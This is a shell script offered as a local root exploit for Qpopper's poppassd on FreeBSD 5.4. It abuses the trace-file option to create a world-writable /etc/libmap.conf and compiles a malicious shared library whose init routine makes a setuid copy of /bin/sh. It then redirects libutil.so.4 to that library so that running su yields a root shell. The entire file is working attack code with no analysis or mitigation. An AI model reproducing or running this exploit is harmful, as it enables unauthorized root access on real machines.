poppassd-freebsd.sh.txt

`#!/bin/sh  
###########################################################################  
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope ###  
# tested on FreeBSD 5.4-RELEASE ###  
###########################################################################  
  
POPPASSD_PATH=/usr/local/bin/poppassd  
HOOKLIB=libutil.so.4  
  
echo ""  
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"  
echo ""  
sleep 2  
umask 0000  
if [ -f /etc/libmap.conf ]; then  
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"  
exit  
fi  
cat > program.c << _EOF  
#include <unistd.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <stdlib.h>  
  
void _init()  
{  
if (!geteuid()) {  
remove("/etc/libmap.conf");  
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);  
}  
}  
  
_EOF  
gcc -o program.o -c program.c -fPIC  
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles  
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0  
echo "--- Now type ENTER ---"  
echo ""  
$POPPASSD_PATH -t /etc/libmap.conf  
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf  
su  
if [ -f /tmp/xxxx ]; then  
echo "IT'S A ROOTSHELL!!!"  
/tmp/xxxx  
else  
echo "Sorry, exploit failed."  
fi  
`